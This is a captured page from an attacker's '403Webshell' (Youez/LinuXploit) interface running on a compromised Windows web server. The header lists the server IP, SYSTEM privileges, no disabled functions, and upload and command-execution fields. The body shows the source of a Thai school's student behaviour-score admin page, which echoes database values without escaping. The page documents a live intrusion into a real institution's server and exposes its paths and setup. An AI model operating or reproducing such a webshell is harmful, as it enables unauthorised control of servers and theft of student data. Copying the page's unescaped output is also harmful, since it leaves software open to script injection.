403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/news/edu2018/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/news/edu2018/admin/gbehavior.php
       <section class="content-header">
      <h1>
        ฐานข้อมูลนักเรียน
        <small>Version 2.0</small>
      </h1>
      <ol class="breadcrumb">
        <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
        <li class="active">Dashboard</li>
      </ol>
    </section> 	
  <section class="content">
           <div class="box">

            <div class="box-header">
              <h3 class="box-title">เพิ่มประเภทคะแนนพฤติกรรมนักเรียน </h3>
            </div>
            <!-- /.box-header -->
            <div class="box-body">
		<form action="index.php?dash=<?=md5("6");?>&update=catscore" method="post" enctype="multipart/form-data" name="Frm" >
		<table class="table table-hover" border="0">    
          <tr> 
			<td width="200">
		<input type="radio" name="status" value="add" required>  เพิ่มคะแนน &nbsp;
		<input type="radio" name="status" value="rem" required>  ตัดคะแนน			
			</td>
			<td><input type="text" class="form-control input-sm" placeholder="เก็บเงินได้" value="" name="title"  required></td> 
			<td align="right">คะแนน</td>
			<td width="75">
				<select class="form-control input-sm" name="score"  required>
				<?php
				for ($i=0; $i<=50; $i++){
				echo "<option value='$i'>$i</option>";
				}
				?>
				</select>
			</td> 			
          </tr>  
		</table>
		  <div class="modal-footer">
		  <button id="tag-form-submit" type="submit" class="btn btn-danger" value="Add Tag">บันทึก</button>
        </div>	
		</form>
            </div>
            <!-- /.box-body -->
          </div>	
		  
           <div class="box">
            <div class="box-header">
              <h3 class="box-title">ประเภทคะแนนพฤติกรรมนักเรียน </h3>
            </div>
            <!-- /.box-header -->
            <div class="box-body">
			 <div class="col-sm-6">
   <?php
   $SQL2 = $mysqli->query("SELECT * FROM catscore where status='add'");
   ?>	
<!--Breadcrumbs -->
<ol class="breadcrumb">
  <li>ประเภทการเพิ่มคะแนน</li>
</ol>
<!--End Breadcrumbs -->	   
              <table id="example1" class="table table-bordered table-striped table-hover">
                <thead>
                <tr>
					<th width="20">NO</th>
                    <th align='center'>ความประพฤติ</th>
					<th width="50" align='center'>คะแนน</th> 
					<th width="30" align='center'>ลบ</th>
                </tr>
                </thead>
                <tbody>
         <?php 
			$i=0;
			while($R2=mysqli_fetch_array($SQL2)) { 
			$i++
         ?>				
                <tr>
                  <td><?=$i;?></td>
                  <td><?=$R2["title"];?></td>
                  <td align="center">+<?=$R2["score"];?></td>
                  <td align="center">
<a href="#add<?=$R2["Id"];?>" type="input" class="btn btn-danger btn-xs glyphicon glyphicon-trash del-co"  data-toggle="modal"  data-toggle="tooltip" title="ลบข้อมูล"></a>
<!-- Modal -->
  <div class="modal fade" id="add<?=$R2["Id"];?>" role="dialog">
    <div class="modal-dialog">
      <div class="modal-content">
        <div class="modal-header">
          <button type="button" class="close" data-dismiss="modal">&times;</button>
          <h4 class="modal-title">ลบข้อมูล</h4>
        </div>
        <div class="modal-body">
			 <div class="row clearfix">
				<div class="col-md-2">
				<center><img src="../img/what.jpg" width="70"></center>
				</div>
				<div class="col-md-10"><br>
					<p align="left">คุณต้องการลบข้อมูล <?=$R2["title"];?> จากระบบหรือไม่?</p>
					<p align="left">ส่งผลให้การเพิ่มคะแนนความประพฤติของนักเรียนรายการนี้ถูกลบออกด้วย</p>
				</div>
              </div>		
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-default" data-dismiss="modal">ยกเลิก</button>
		  <a href="index.php?dash=<?=md5("3");?>&id=<?=$R2["Id"];?>&action=delcatscore" class="btn btn-danger" role="button">ลบข้อมูล</a>
        </div>
      </div>      
    </div>
  </div>				  
				  </td>
                </tr>
				<?php } ?>  
				</tbody>
              </table>
            </div>
            <!-- /.box-body -->
		<div class="col-sm-6">
   <?php
   $SQL1 = $mysqli->query("SELECT * FROM catscore where status='rem'");
   ?>	
<!--Breadcrumbs -->
<ol class="breadcrumb">
  <li>ประเภทการตัดคะแนน</li>
</ol>
<!--End Breadcrumbs -->	   
              <table id="example3" class="table table-bordered table-striped table-hover">
                <thead>
                <tr>
					<th width="20">NO</th>
                    <th align='center'>ความประพฤติ</th>
					<th width="50" align='center'>คะแนน</th> 
					<th width="30" align='center'>ลบ</th>
                </tr>
                </thead>
                <tbody>
         <?php 
			$i=0;
			while($R1=mysqli_fetch_array($SQL1)) { 
			$i++
         ?>				
                <tr>
                  <td><?=$i;?></td>
                  <td><?=$R1["title"];?></td>
                  <td align="center">-<?=$R1["score"];?></td>
                  <td align="center">
<a href="#add<?=$R1["Id"];?>" type="input" class="btn btn-danger btn-xs glyphicon glyphicon-trash del-co"  data-toggle="modal"  data-toggle="tooltip" title="ลบข้อมูล"></a>
<!-- Modal -->
  <div class="modal fade" id="add<?=$R1["Id"];?>" role="dialog">
    <div class="modal-dialog">
      <div class="modal-content">
        <div class="modal-header">
          <button type="button" class="close" data-dismiss="modal">&times;</button>
          <h4 class="modal-title">ลบข้อมูล</h4>
        </div>
        <div class="modal-body">
			 <div class="row clearfix">
				<div class="col-md-2">
				<center><img src="../img/what.jpg" width="70"></center>
				</div>
				<div class="col-md-10"><br>
					<p align="left">คุณต้องการลบข้อมูล <?=$R1["title"];?> จากระบบหรือไม่?</p>
					<p align="left">ส่งผลให้การเพิ่มคะแนนความประพฤติของนักเรียนรายการนี้ถูกลบออกด้วย</p>
				</div>
              </div>		
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-default" data-dismiss="modal">ยกเลิก</button>
		  <a href="index.php?dash=<?=md5("3");?>&id=<?=$R1["Id"];?>&action=delcatscore" class="btn btn-danger" role="button">ลบข้อมูล</a>
        </div>
      </div>      
    </div>
  </div>				  
				  </td>
                </tr>
				<?php } ?>  
				</tbody>
              </table>
		</div>			
			</div>

          </div>
   </section>
   

Youez - 2016 - github.com/yon3zu
LinuXploit